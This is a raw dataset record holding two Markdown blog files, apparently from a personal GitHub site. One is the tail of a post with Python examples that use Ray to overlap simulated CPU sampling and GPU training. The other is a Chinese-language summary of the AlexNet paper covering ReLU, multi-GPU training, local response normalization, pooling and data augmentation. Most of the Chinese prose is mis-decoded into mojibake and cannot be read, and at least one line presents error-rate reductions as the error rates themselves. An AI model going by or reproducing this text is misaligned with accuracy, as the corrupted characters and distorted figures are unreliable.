timing measurements below.\ntime.sleep(2); start_time = time.time()\n\n_ = solver.train()\n\nend_time = time.time(); \nprint('The example took {} seconds.'.format(end_time - start_time))\n```\n\n\n\n\n\n\n\n## Method 3\n\n```python\n#! usr/bin/python\n#coding=utf-8\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray, time, sys\nfrom multiprocessing import cpu_count\nCPU_COUNT = cpu_count()\nprint('######################')\nprint('CPU_COUNT:', CPU_COUNT)\nprint('######################')\n\nray.init(num_cpus=CPU_COUNT,include_webui=False, ignore_reinit_error=True)\n\nclass GWave(object):\n def __init__(self, time_sampling):\n self.time_sampling = time_sampling\n self.data = 0\n\n def sampling(self):\n self.data += 1\n print('====================') \n print('Data sampling as {} ({}s)'.format(self.data, self.time_sampling))\n time.sleep(self.time_sampling)\n return self.data\n\[email protected]\nclass Solver(object):\n def __init__(self, time_training):\n self.time_training = time_training\n\n def Parallel_cache(self, epoch, data):\n # optional\n return self.iteration(epoch, data) \n\n def iteration(self, epoch, data):\n print('Training with sample {} ({}s)'.format(data, self.time_training))\n time.sleep(self.time_training)\n return epoch + 1\n\nsolver = Solver.remote(time_training = 5)\ngwave = GWave(time_sampling = 5)\n\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2); start_time = time.time()\n\nepochs = [ray.put(i) for i in range(5 +1)][::-1]\n\nwhile len(epochs)>1:\n epochs.append(solver.Parallel_cache.remote(epochs.pop(-1), gwave.sampling()))\n epochs = epochs[1:]\n_ = ray.get(epochs)\n\nend_time = time.time(); \nprint('The example took {} seconds.'.format(end_time - start_time))\n```\n\n\n\n- All 5 epochs\n\n- Sampling(CPU) = 5s | Training(GPU) = 5s\n\n![](https://i.loli.net/2018/12/26/5c230ca3edcf9.gif)\n\n\n\n- Sampling(CPU) = 1s | Training(GPU) = 5s\n\n![](https://i.loli.net/2018/12/26/5c230cbb225b8.gif)\n\n\n\n- Sampling(CPU) = 5s | Training(GPU) = 1s\n\n![](https://i.loli.net/2018/12/26/5c230ce36b249.gif)\n\n\n\n\n\n\n\n\n\n\n\n### Active Learning?\n\nRef: https://zhuanlan.zhihu.com/p/39367595\n\nไธปๅŠจๅญฆไน ็ฎ—ๆณ•ๆœ‰ไธชๅ…ณ้”ฎ็š„ๅ‡่ฎพ๏ผš\n\n> โ€œ*The key hypothesis is that if the learning algorithm is allowed to choose the data from which it learnsโ€”to be โ€œcurious,โ€ if you willโ€”it will perform better with less trainingโ€*ใ€‚\n\n![](https://i.loli.net/2018/12/26/5c23107ade821.png)\n\n![image-20181226132819333](assets/image-20181226132819333-5802099.png)\n\n![image-20181226133942149](assets/image-20181226133942149-5802782.png)\n\n![image-20181226134252790](assets/image-20181226134252790-5802972.png)" }, { "alpha_fraction": 0.6779248714447021, "alphanum_fraction": 0.7355992794036865, "avg_line_length": 32.84019470214844, "blob_id": "0a06218733e3564e4b23c36c90e5e2e135c52f66", "content_id": "da7861fa20c7bb2a7573486c8ca618d87eb58fba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18303, "license_type": "no_license", "max_line_length": 394, "num_lines": 413, "path": "/blog/paper_summary/ImageNet Classification with Deep Convolutional Neural Networks.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ImageNet Classification with Deep Convolutional Neural Networks\ndate: 2018-08-24\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n# ImageNet Classification with Deep Convolutional Neural Networks (2012)\n\n> Krizhevsky, Alex, Ilya Sutskever, and Geoffrey E. Hinton. \"Imagenet classification with deep convolutional neural networks.\" Advances in neural information processing systems. 2012.\n\n\n\n<iframe src=\"./ImageNet Classification with Deep Convolutional Neural Networks.pdf\" style=\"width:1000px; height:1000px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"http://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf\">Download PDF</a></iframe>\n\n\n\n\n\n\n> FYI๏ผš\n>\n> - [่ฏปใ€ŠImageNet Classification with Deep Convolutional Neural Networksใ€‹](https://zhuanlan.zhihu.com/p/20324656)\n>\n> - [AlexNet่ฎบๆ–‡็ฟป่ฏ‘โ€”โ€”ไธญ่‹ฑๆ–‡ๅฏน็…ง](http://noahsnail.com/2017/07/04/2017-7-4-AlexNet่ฎบๆ–‡็ฟป่ฏ‘/)\n\n[TOC]\n\n\n\n## Introduction\n\n\n\nๅœจๆญคๅ‰ไน‹ๅ‰๏ผŒๅฏนไบŽ่พƒ็ฎ€ๅ•็š„็›ฎๆ ‡่ฏ†ๅˆซ๏ผˆObject recognition๏ผ‰ ไปปๅŠก๏ผŒ็”จไผ ็ปŸๆœบๅ™จๅญฆไน ๆ–นๆณ•ๅฏไปฅๆœ‰ๆ•ˆ่งฃๅ†ณไธป่ฆๅพ—็›ŠไบŽๆ•ฐๆฎ้‡็บง๏ผˆNORB, Caltech-101/256, CIFAR-10/100๏ผ‰่ฟ˜ๅนถไธ็ฎ—ๅคงๅˆฐ้šพไปฅๆ‰ฟๅ—๏ผˆin tens of thousands๏ผ‰ใ€‚ไฝ†ๆ˜ฏไธบไบ†ๅบ”ๅฏนๆ›ด็œŸๅฎž็š„ๅ›พ็‰‡็š„ๅฏๅ˜ๆ€ง๏ผˆvariability๏ผ‰๏ผŒ่ถ…ๅคงๆ•ฐๆฎ้‡ๆ˜ฏๅฟ…่ฆ็š„๏ผˆLabelMe in hundreds of thousands; ImageNet in 15in millions + high-resolution + 22,000 categories๏ผ‰ใ€‚\n\n็”จ CNN ็ฝ‘็ปœๆ˜ฏๅŸบไบŽๅฏนๅ…ˆ้ชŒ็Ÿฅ่ฏ†็š„่€ƒ่™‘๏ผš\n\n> ... have lots of prior knowledge to compensate for all the data we donโ€™t have.\n\nๅ…ทไฝ“่ฏดๆฅ๏ผŒๅฐฑๆ˜ฏๅŸบไบŽๅ›พๅƒ็š„็‰นๅพๅ‡่ฎพ๏ผš**stationarity of statistics** and **locality of pixel dependencies**.\n\nๆ•ฐๆฎ็”จ็š„ๆ˜ฏ๏ผšsubsets of ImageNet used in the ILSVRC-2010 and ILSVRC-2012 competitions๏ผŒCNN ็ฝ‘็ปœ็”จไบ†5ๅฑ‚ๅท็งฏๅ’Œ3ๅฑ‚ๅ…จ่ฟžๆŽฅๆž„้€ ๏ผŒๅนถไธ”ๅ‘่ง‰ๅŽปๆŽ‰ๅท็งฏๅฑ‚๏ผˆไธ่ถ…่ฟ‡1%็š„ๆจกๅž‹ๅ‚ๆ•ฐ้‡๏ผ‰ๅŽๆจกๅž‹็š„ๆ•ˆๆžœๅ˜ๅทฎใ€‚่ฎบๆ–‡็š„ไปฃ็ ๅœฐๅ€ๅฏ่ง๏ผšhttp://code.google.com/p/cuda-convnet/ ใ€‚ ่Šฑไบ†5-6ๅคฉๅœจไธคๅ— GTX 580 3GB GPUs ไธŠ่ฎญ็ปƒใ€‚\n\n\n\n## The Dataset\n\n- ImageNet\n - is a dataset of over **15 million** labeled high-resolution images belonging to roughly **22,000** categories\n- ImageNet Large-Scale Visual Recognition Challenge (ILSVRC)\n - is a subset of ImageNet with roughly **1000** images in each of **1000** categories\n - which are roughly **1.2 million** training images, **50,000** validation images, and **150,000** testing images.\n- ILSVRC-2010\n - is the **only** version of ILSVRC for which the test set labels are available\n - which is used to perform most of experiments (in this paper)\n- ILSVRC-2012\n - in which test set labels are unavailable.\n\n- Two error rates: top-1 and top-5\n - Top-5 error rate is the fraction of test images for which the correct label is not among the five labels considered most probable by the model.\n\n- ๆ•ฐๆฎ้ข„ๅค„็†๏ผš\n - ็”ฑไบŽๆจกๅž‹้œ€่ฆๅ›บๅฎš็š„ๅ›พ็‰‡ๅฐบๅฏธ๏ผŒๆ‰€ไปฅ้ƒฝไธ‹้‡‡ๆ ทๅˆฐไบ† 256x256ใ€‚\n - ๅฏนไบŽ็Ÿฉๅฝขๅ›พ็‰‡๏ผŒๆŠŠ็Ÿญ่พนๅฐบๅบฆ็ผฉๆ”พๅˆฐ 256๏ผŒ็„ถๅŽๅœจไธญๅฟƒๅค„่ฃๅ‰ชๅ‡บ 256x256ใ€‚\n - ๅฏน่ฎญ็ปƒ้›†ๅ›พ็‰‡็š„ๆ‰€ๆœ‰ๅ›พ็‰‡ๅƒ็ด ๅ€ผ้ƒฝๅˆ†ๅˆซ่ฟ›่กŒไบ†ๆ ‡ๅ‡†ๅŒ–๏ผŒไฝฟๅพ—ๆฏๅผ ๅ›พ็‰‡็š„ๅƒ็ด ๆ•ฐๅ€ผ็š„ๅ‡ๅ€ผไธบ0ใ€‚\n\n\n\n## The Architecture\n\n่ฟ™ๅฐฑๆ˜ฏๆ–‡็ซ ไธญ่‘—ๅ็š„AlexNetๆจกๅž‹็ป“ๆž„ๅ›พ๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7fc04ec53c7.png)\n\n### ReLU Nonlinearity๏ผˆReLU ็š„้ž็บฟๆ€งๆ€ง๏ผ‰\n\nๅฎž้ชŒๆ˜พ็คบ๏ผšๅœจ GD๏ผˆgradient descent๏ผ‰ไผ˜ๅŒ–่ฟ‡็จ‹ไธญ๏ผŒsaturating nonlinearities๏ผˆๅฆ‚๏ผ‰ๆฏ” non-saturating nonlinearity ้€Ÿๅบฆๆ…ขๅพ—ๅคšใ€‚\n\n> FYI: **what do they mean by \"saturating\" or \"non-saturating\" non-linearities**\n>\n> - Intuition: A saturating activation function squeezes the input.\n> - Definitions: \n> - $f$ is non-saturating iff $(|\\lim_{z\\rightarrow-\\infty}f(z)|=+\\infty)\\cup(|\\lim_{z\\rightarrow+\\infty} f(z)|=+\\infty)$\n> - $ f $ is saturating iff $f$ is not non-saturating.\n> - ็ฎ€ๅ•ๆฅ่ฏด๏ผŒๅฐฑๆ˜ฏ็œ‹่ฟ™ไธชๅ‡ฝๆ•ฐๆ˜ฏๅฆๅ…ณไบŽ่‡ชๅ˜้‡ๆ˜ฏ**ๆœ‰็•Œ**็š„ใ€‚\n>\n> Ref: [StackExchange](https://stats.stackexchange.com/questions/174295/what-does-the-term-saturating-nonlinearities-mean)\n\nไบŽๆ˜ฏ๏ผŒไฝœ่€…็”จไบ† Rectified Linear Units (ReLUs) โ€”โ€” [Nair and Hinton 2010]\n$$\nf(x) = \\max(0,x)\n$$\nไฝœไธบๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚่€Œไธๆ˜ฏ $f(x)=\\tanh(x)$ or $f(x)=(1+e^{-x})^{-1}$ใ€‚่ฎญ็ปƒๆ•ˆๆžœๅฆ‚ไธ‹ๅ›พ๏ผš\n\n![](https://i.loli.net/2018/08/24/5b7f981f2245c.png)\n\nๅœจ่พพๅˆฐ25%็š„่ฎญ็ปƒ้”™่ฏฏ็Ž‡็š„ๆ‰€่Šฑๆ—ถ้—ด๏ผŒ็›ธๅทฎๅ…ญๅ€ใ€‚ๅ›พไธŠไธคไธชๆจกๅž‹็š„ๅฏนๆฏ”ๅœจ่ฎญ็ปƒ็š„่ฟ‡็จ‹ไธญ๏ผŒ**ๅ„่‡ช็š„ๅญฆไน ็Ž‡ๆ˜ฏ็‹ฌ็ซ‹ๅ„่‡ชๅ–ๅ€ผ็š„**๏ผŒไธบไบ†ไฟ่ฏๆœ€ๅฟซ็š„่ฎญ็ปƒๅฎž้ชŒๆ•ˆๆžœใ€‚ๅนถไธ”๏ผŒNo regularization of any kind was employedใ€‚\n\n\n\n### Training on Multiple GPUs (ๅœจๅคš GPUs ไธŠ่ฎญ็ปƒ)\n\n็”ฑไบŽไธ€ๅ— GTX 580 GPU ๅชๆœ‰ 3G ๅ†…ๅญ˜๏ผŒๆ‰€ไปฅๆŠŠ็ฝ‘็ปœๅนณ่กŒ็š„ๅˆ†ๅˆซๆ”พๅœจไธคๅ— GPU ไธŠ่ฎญ็ปƒใ€‚\n\nๅนณ่กŒ๏ผˆparallelization๏ผ‰็š„ๆ”พ็ฝฎไฝฟๅพ—ๆฏๅฑ‚็š„ kernels ๆ•ฐ็›ฎๅˆ†ๅˆซๅ„ๅ ไธ€ๅŠๅœจไธคๅ— GPU ไธŠ๏ผŒไฝ† GPUs ไน‹้—ด็š„ๆ•ฐๆฎไผ ่พ“ไป…ไผšๅœจ็‰นๅฎš็š„ๅฑ‚ไธญ่ฟ›่กŒใ€‚ๆฏ”ๆ–น่ฏด๏ผŒ็ฝ‘็ปœไธญ็š„็ฌฌไบŒๅฑ‚ๅ’Œ็ฌฌไธ‰ๅฑ‚ไน‹้—ด๏ผŒ็ฌฌไธ‰ๅฑ‚็š„่พ“ๅ…ฅไผšๅ–่‡ช็ฌฌไบŒๅฑ‚ไธคๅ— GPUs ็š„ๅ…จ้ƒจ็‰นๅพๅ›พ๏ผˆfeature maps๏ผ‰๏ผ›ๅœจ็ฝ‘็ปœ็š„็ฌฌไธ‰ๅฑ‚ๅ’Œ็ฌฌๅ››ๅฑ‚ไน‹้—ด๏ผŒ็ฌฌๅ››ๅฑ‚็š„่พ“ๅ…ฅๅช่ฏปๅ–็›ธๅŒ GPU ไผ ้€’ๆฅ็š„็ฌฌไธ‰ๅฑ‚็‰นๅพๅ›พใ€‚\n\n่ฏฅ็ฝ‘็ปœๅœจ top-1 ๅ’Œ top-5 error rates ไธŠๅˆ†ๅˆซๅพ—ๅˆฐ 1.7% ๅ’Œ 1.2 %ใ€‚\n\n่ฟ™ไธช two-GPU ็ฝ‘็ปœ็š„่ฎญ็ปƒๆ—ถ้—ดๆฏ” one-GPU ็ฝ‘็ปœ็จ็จๅฟซไธ€็‚นใ€‚๏ผˆๅ› ไธบ้ƒฝๆœ‰็€็›ธๅŒ็š„ kernels ็š„ๆ•ฐ็›ฎ๏ผŒๆ‰€ไปฅ่ฟ™ไธคไธช็ฝ‘็ปœ็š„ๆจกๅž‹ๅ‚ๆ•ฐๅŸบๆœฌๅทฎไธๅคš๏ผŒone-GPU ็จ็จๅคšไธ€ไธขไธข๏ผ‰\n\n\n\n\n\n### Local Response Normalization (ๅฑ€้ƒจๅ“ๅบ”ๅฝ’ไธ€ๅŒ–)\n\nๅฑ€้ƒจๅ“ๅบ”ๅฝ’ไธ€ๅŒ–๏ผˆLocal Response Normalization๏ผ‰ๅŽŸ็†ๆ˜ฏไปฟ้€ ็”Ÿ็‰ฉๅญฆไธŠๆดป่ทƒ็š„็ฅž็ปๅ…ƒๅฏน็›ธ้‚ป็ฅž็ปๅ…ƒ็š„ๆŠ‘ๅˆถ็Žฐ่ฑก๏ผˆไพงๆŠ‘ๅˆถ lateral inhibitio๏ผ‰ใ€‚ ๅฝ’ไธ€ๅŒ–๏ผˆnormalization๏ผ‰ ็š„็›ฎ็š„ๆ˜ฏโ€œๆŠ‘ๅˆถโ€ใ€‚ๅ› ไธบ ReLU ๆ˜ฏ unbounded ็š„๏ผŒๆ‰€ไปฅๆ–‡็ซ ๅฐฑ็”จไบ† LRN ๆฅๅฝ’ไธ€ๅŒ–ใ€‚\n\n- ๅฅฝๅค„๏ผšLRN ๅฑ‚ๆจกไปฟ็”Ÿ็‰ฉ็ฅž็ป็ณป็ปŸ็š„ไพงๆŠ‘ๅˆถๆœบๅˆถ๏ผŒๅฏนๅฑ€้ƒจ็ฅž็ปๅ…ƒ็š„ๆดปๅŠจๅˆ›ๅปบ็ซžไบ‰ๆœบๅˆถ๏ผŒไฝฟๅพ—็›ธๅบ”ๆฏ”่พƒๅคง็š„ๅ€ผ็›ธๅฏนๆ›ดๅคง๏ผŒ**ๆ้ซ˜ๆจกๅž‹ๆณ›ๅŒ–่ƒฝๅŠ›**ใ€‚ๆ นๆฎ Hinton ็š„ๆ่ฟฐ๏ผŒๅฐ† top-1 ๅ’Œ top-5 error rate ๅˆ†ๅˆซ้™ๅˆฐ 1.4% ๅ’Œ 1.2 %ใ€‚ๅŒๆ ทๅœฐๅœจ CIFAR-10 ๆ•ฐๆฎ้›†ไธŠไธ€ไธช 4 ๅฑ‚ CNN ๅœจๆฒกๆœ‰ๅฝ’ไธ€ๅŒ–ๆ—ถๅพ—ๅˆฐ 13% test error๏ผŒๆœ‰ๅฝ’ไธ€ๅŒ–ๆ—ถไธบ 11%ใ€‚\n\n- ่ฎก็ฎ—ๅ…ฌๅผ๏ผš\n $$\n b^i_{x,y}=a^i_{x,y}/\\Big(k+\\alpha\\sum^{\\min(N-1,i+n/2)}_{j=\\max(0,i-n/2)}(a^j_{x,y})^2\\Big)^\\beta\n $$\n ๅ…ฌๅผ็œ‹ไธŠๅŽปๆฏ”่พƒๅคๆ‚๏ผŒไฝ†็†่งฃ่ตทๆฅ้žๅธธ็ฎ€ๅ•๏ผŒ่ฟ™ๅฐฑๆ˜ฏไธ€ไธชpixel-wise็š„ๆ“ไฝœ๏ผš\n\n - $a^i_{x,y}$ ่กจ็คบๆฏไธชๅœจไผ ้€’่ฟ‡้ž็บฟๆ€ง็š„ ReLu ๅ‡ฝๆ•ฐไน‹ๅŽ็š„็ฅž็ปๅ…ƒๆฟ€ๆดปๅ€ผ๏ผŒๅ…ถไธญ $i$ ่กจ็คบ็ฌฌ $i$ ไธช kernel ๅœจๅƒ็ด ไฝ็ฝฎ (x, y) ใ€‚ N ๆ˜ฏ่ฏฅๅฑ‚็š„ kernel ๆ€ปๆ•ฐใ€‚ๅ…ถไป–ๅ‚ๆ•ฐ $k,\\alpha, \\beta,n$ ๅฐฑๆ˜ฏ่ถ…ๅ‚ๆ•ฐ๏ผŒๅ…ถไธญ$n$ ไปฃ่กจ็š„ๆ˜ฏ่ฏฅ kernel ็š„โ€œๆฏ—้‚ปโ€ kernel ็š„ๆ•ฐ็›ฎใ€‚ \n\n - Hinton ็ญ‰ไบบๅœจ้ชŒ่ฏ้›†ไธŠ็š„ๅฎž้ชŒ็ป“ๆžœๆ˜ฏ๏ผŒ่ถ…ๅ‚ๆ•ฐๅฏไปฅไธบ๏ผš$k=2,n=5,\\alpha=10^{-4},$ and $\\beta=0.75$ใ€‚\n\n - ๆจกๅž‹ไธญๅœจไธชๅˆซๅฑ‚ไธŠ่ฟ็”จไบ† LRNใ€‚\n\n - Flowchart of Local Response Normalization๏ผˆ[source](http://yeephycho.github.io/2016/08/03/Normalizations-in-neural-networks/)๏ผ‰\n\n ![](https://i.loli.net/2018/08/24/5b7fa6a7d3606.png)\n\n - ็ฎ€ๅ•็š„็คบๆ„ๅ›พ๏ผš![](https://i.loli.net/2018/08/24/5b7fb04c607cb.png)\n\n- ไปฃ็ ๅฎž็Žฐ๏ผš\n\n - [tf.nn.local_response_normalization](https://www.tensorflow.org/api_docs/python/tf/nn/local_response_normalization)\n\n - [What the output of LRN looks like๏ผŸ](http://yeephycho.github.io/2016/08/03/Normalizations-in-neural-networks/)\n\n - ```python\n import numpy as np\n import matplotlib.pyplot as plt\n def lrn(x):\n y = 1 / (2 + (10e-4) * x ** 2) ** 0.75\n \treturn y\n input = np.arange(0, 1000, 0.2)\n output = lrn(input)\n plt.plot(input, output)\n plt.xlabel('sum(x^2)')\n plt.ylabel('1 / (k + a * sum(x^2))')\n plt.show()\n ```\n\n ![](https://i.loli.net/2018/08/24/5b7fb21506152.png)\n\n Since the slope at the beginning is very steep, little difference among the inputs will be significantly enlarged, this is where the competition happens.\n\n- ็›ธๅ…ณๆ–‡็Œฎ๏ผš\n\n - The exact way of doing this was proposed in (but not much extra info here):\n - Kevin Jarrett, Koray Kavukcuoglu, Marcโ€™Aurelio Ranzato and Yann LeCun, What is the best Multi-Stage Architecture for Object Recognition?, ICCV 2009. [pdf](http://yann.lecun.com/exdb/publis/pdf/jarrett-iccv-09.pdf)\n\n - It was inspired by computational neuroscience:\n - S. Lyu and E. Simoncelli. Nonlinear image representation using divisive normalization. CVPR 2008. [pdf](http://www.cns.nyu.edu/pub/lcv/lyu08b.pdf). This paper goes deeper into the math, and is in accordance with the answer of seanv507.\n - [24] N. Pinto, D. D. Cox, and J. J. DiCarlo. Why is real-world vi- sual object recognition hard? [PLoS Computational Biology, 2008.](http://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.0040027)\n\n- **ๅŽๆœŸไบ‰่ฎฎ**\n\n - ๅœจ2015ๅนด่‘—ๅ็š„ Very Deep Convolutional Networks for Large-Scale Image Recognition. ๆๅˆฐLRNๅŸบๆœฌๆฒกไป€ไนˆ็”จใ€‚\n\n ![](https://i.loli.net/2018/08/24/5b7fa43993218.png)\n\n - [CS231n](http://cs231n.github.io/convolutional-networks/) ็š„่ฏพ็จ‹ไนŸๆ›พๆๅˆฐ่ฟ™็งไปฟ็”Ÿ็‰ฉๅญฆ็š„ๅฝ’ไธ€ๅŒ–็ญ–็•ฅไธ€่ˆฌๆฒกไป€ไนˆ้ธŸ็”จ๏ผš\n\n ![](https://i.loli.net/2018/08/24/5b7faf534a2a1.png)\n\n\nRef๏ผš\n\n1. [What Is Local Response Normalization In Convolutional Neural Networks](https://prateekvjoshi.com/2016/04/05/what-is-local-response-normalization-in-convolutional-neural-networks/)\n2. [ๆทฑๅบฆๅญฆไน ็š„ๅฑ€้ƒจๅ“ๅบ”ๅฝ’ไธ€ๅŒ–LRN(Local Response Normalization)็†่งฃ](https://blog.csdn.net/yangdashi888/article/details/77918311)\n3. [ใ€ๆทฑๅบฆๅญฆไน ๆŠ€ๆœฏใ€‘LRN ๅฑ€้ƒจๅ“ๅบ”ๅฝ’ไธ€ๅŒ–](https://blog.csdn.net/hduxiejun/article/details/70570086)\n4. [Importance of local response normalization in CNN](https://stats.stackexchange.com/questions/145768/importance-of-local-response-normalization-in-cnn)\n5. [Normalizations in Neural Networks](http://yeephycho.github.io/2016/08/03/Normalizations-in-neural-networks/)\n\n\n\n\n\n### Overlapping Pooling๏ผˆ้ƒจๅˆ†้‡ๅ ็š„ๆฑ ๅŒ–๏ผ‰\n\nๆ–‡็ซ ๅผบ่ฐƒไบ†ๅฏ้ƒจๅˆ†้‡ๅ ็š„ๆฑ ๅŒ–ๅฏนๆจกๅž‹็š„ๆณ›ๅŒ–่ƒฝๅŠ›ๆ€ปๆ˜ฏๆ›ดๆœ‰ๆ•ˆ็š„ใ€‚\n\n่ฎฉๆญฅ้•ฟ s ๆฏ”ๆฑ ๅŒ–ๆ ธ็š„ๅฐบๅฏธ z ๅฐ๏ผŒ่ฟ™ๆ ทๆฑ ๅŒ–ๅฑ‚็š„่พ“ๅ‡บไน‹้—ดไผšๆœ‰้‡ๅ ๅ’Œ่ฆ†็›–๏ผŒๅฏไปฅๆๅ‡ไบ†็‰นๅพ็š„ไธฐๅฏŒๆ€ง๏ผŒไฝฟๅพ—ๆจกๅž‹ๅœจ่ฎญ็ปƒ่ฟ‡็จ‹ไธญๆ›ด้šพไปฅ่ฟ‡ๆ‹Ÿๅˆใ€‚\n\nๆ–‡็ซ ็š„ๅฎž้ชŒ็ป“ๆžœ่ฏด๏ผŒs=2๏ผŒz=3 ๆฏ” s = z =2 ๅœจ top-1 ๅ’Œ top-5 error rate ๅ‡ๅฐ‘ไบ† 0.4% ๅ’Œ 0.3%ใ€‚\n\n\n\n\n\n### Overall Architecture\n\nๆญฃๅฆ‚ไธŠ้ขๅ›พไธญๆ‰€็คบ็š„๏ผŒๅฆๅค–้œ€่ฆๆๅŠ็š„ๆ˜ฏๅœจ็ฌฌไธ€ๅฑ‚ใ€็ฌฌไบŒๅฑ‚ๅ’Œ็ฌฌไบ”ๅฑ‚่ฟ็”จ LRNใ€‚ๅ…จ้ƒจไฝฟ็”จๆœ€ๅคงๆฑ ๅŒ–็ญ–็•ฅใ€‚\n\n **ๆณจๆ„๏ผๅŽŸ่ฎบๆ–‡ๅฏน็ฝ‘็ปœ็ป“ๆž„็š„ๆ่ฟฐๆœ‰ๅ„็ง้”™่ฏฏ๏ผๅบ”่ฏฅๅ‚็…ง cs231n ็ญ‰ๅ…ถไป–็ฝ‘็ปœ่ต„ๆ–™็ป™ๅ‡บ็š„่งฃ้‡Š่ฏดๆ˜Ž็‰ˆๆœฌ๏ผ**\n\n![](https://i.loli.net/2018/08/24/5b7fbe6560b34.png)\n\n่€Œไธ”็ป“ๆž„ๅ›พไธญ็ป™ๅ‡บ็š„็‰นๅพๅ›พ็ปดๆ•ฐไนŸ้”™็š„ไธ่กŒไธ่กŒ็š„๏ผŒๆฏ”ๆ–น่ฏดๅชๆœ‰ 48x48x55x2=253440 ๆ‰่ƒฝๅพ—ๅˆฐๆ–‡ไธญๆๅˆฐ็š„็ฌฌไธ€ๅฑ‚็‰นๅพๅ›พ็ปดๅบฆ๏ผŒไฝ†่ฟ™ๆ˜พ็„ถไธๅฏนๅ˜›ใ€‚\n\n![](https://i.loli.net/2018/08/24/5b7fc09e32aaa.png)\n\n็ป่ฟ‡ไธ€็•ช่ต„ๆ–™ๆŸฅๆ‰พ๏ผŒไธ‹้ขๅˆ—ๅ‡บAlexNetๆญฃ็กฎ็š„็ฝ‘็ปœ็ป“ๆž„่ถ…ๅ‚ๆ•ฐ๏ผˆSource: [cs231n](http://cs231n.stanford.edu/slides/2018/cs231n_2018_lecture09.pdf)๏ผ‰๏ผš\n\n![](https://i.loli.net/2018/08/31/5b88aef9f0d7b.png)\n\n![](https://i.loli.net/2018/08/24/5b7fc32a1e649.png)\n\n็ฝ‘็ปœไผ˜ๅŒ–็š„็›ฎๆ ‡ๆ˜ฏๆœ€ๅคงๅŒ– multinomial logistic regression objective๏ผš\n$$\n\\begin{align}\nl(\\mathbf{\\omega})=&\\sum^n_{j=1}\\log P(\\mathbf{y}_i|\\mathbf{x_j},\\mathbf{\\omega})\\\\\n=&\\sum^n_{j=1}\\Big[\\sum^m_{i=1}\\mathbf{y}^{(i)}_j\\mathbf{\\omega}^{(i)T}\\mathbf{x}_j-\\log\\sum^m_{i=1}\\exp\\Big(\\omega^{(i)}\\mathbf{x}_j\\Big)\\Big]\n\\end{align}\n$$\nไธŠ้ข็š„ๅ…ฌๅผๅ‚่€ƒ่‡ชpaper๏ผš[Sparse Multinomial Logistic Regression: Fast Algorithms and Generalization Bounds](http://www.stat.columbia.edu/~liam/teaching/neurostat-spr11/papers/optimization/hartemink05.pami.pdf)\n\n\n\nRef๏ผš\n\n1. [How does Krizhevsky's '12 CNN get 253,440 neurons in the first layer?](https://stats.stackexchange.com/questions/132897/how-does-krizhevskys-12-cnn-get-253-440-neurons-in-the-first-layer)\n2. [alexnet โ€”โ€” MathWorks](https://ww2.mathworks.cn/help/nnet/ref/alexnet.html)\n3. [Understanding AlexNet](https://www.learnopencv.com/understanding-alexnet/)\n4. [Walkthrough: AlexNet](https://github.com/dmlc/minerva/wiki/Walkthrough:-AlexNet)๏ผˆๆœ‰่ฏฏ๏ผ‰\n5. [A Walk-through of AlexNet](https://medium.com/@smallfishbigsea/a-walk-through-of-alexnet-6cbd137a5637)\n\n\n\n\n\n## Reducing Overfitting\n\nnetwork ~ 60 million parameters\n\n### Data Augmentation๏ผˆๆ•ฐๆฎๅขžๅนฟ๏ผ‰\n\nๅ…ณไบŽๆ•ฐๆฎๅขžๅนฟๆœ‰ไธค็งๆ–นๆกˆๅฎžๆ–ฝ๏ผŒ้ƒฝไป…้œ€ๅพˆๅฐ‘้‡็š„่ฎก็ฎ—่€Œๆ— ้œ€ๅ ๆฎๅ†…ๅญ˜ใ€‚ๅนถไธ”ๅœจ CPU ไธญ็”จ Python ๅ†™ๆˆใ€‚\n\n#### Image translations and horizontal reflections.\n\n- ้šๆœบๆˆชๅ– 224x224 ็š„ๅฐ็ช—ๅฃๅŠๅ…ถ็›ธๅบ”็š„ๆฐดๅนณ้•œ้ขๅๅฐ„ๅ›พๅƒใ€‚\n- ๅœจๆต‹่ฏ•ๆ—ถ๏ผŒๆฏๅผ ๅ›พ็‰‡ๆˆชๅ–ๅ››่ง’ๅ’Œไธญๅฟƒ็š„5ไธชๅฐ็ช—ๅฃไปฅๅŠ็›ธๅบ”็š„้•œ้ขๅๅฐ„ๅ›พๅƒ๏ผˆๅ…ฑ10ไธช๏ผ‰ไฝœไธบๆต‹่ฏ•ๅ›พ็‰‡๏ผŒๅ–้ข„ๆต‹ๅ‡ๅ€ผใ€‚\n\n#### Fancy PCA - altering the intensities of the RGB channels in training images.\n\n- ๅฐ†ๅ›พ็‰‡ๆ•ฐๆฎ่ฝฌๅŒ–ไธบ 3x3 covariance matrix of RGB\n\n- ้€š่ฟ‡ PCA ๆ‰พๅˆฐ3ไธชๆœ€ไผ˜็š„็ปดๅบฆๆฅ็†่งฃๅ›พ็‰‡ RGB ๆ•ฐๆฎ็ป“ๆž„\n\n- ๅœจๅŽŸๅ›พ็š„ matrix ๅŸบ็ก€ไธŠๅขžๅŠ ไบ† PCA ็š„่ฟ™ไธ‰ไธช็ปดๅบฆๆˆ– components ๅŽ๏ผˆaltering๏ผ‰๏ผŒๅฆ‚ไธ‹๏ผŒๅ›พ็‰‡็š„็‰ฉไฝ“ๅœจ้ขๅฏนๅ…‰็บฟๅ’Œ่‰ฒๅฝฉๅผบๅผฑๅ˜ๅŒ–ๆ—ถ๏ผŒ่ƒฝๆ›ดๅฎนๆ˜“่ขซ่ฏ†ๅˆซใ€‚\n\n ![](https://i.loli.net/2018/08/24/5b7fda196a055.png)\n\nRef: [2ๅˆ†้’ŸAlexNet PCAๆ˜ฏๅฆ‚ไฝ•ๅธฎๅŠฉCNNๅค„็†ๅ›พ็‰‡็š„intensityๆฅ้™ไฝŽ่ฟ‡ๆ‹Ÿๅˆ](https://zhuanlan.zhihu.com/p/36432137)\n\n\n\n\n\n### 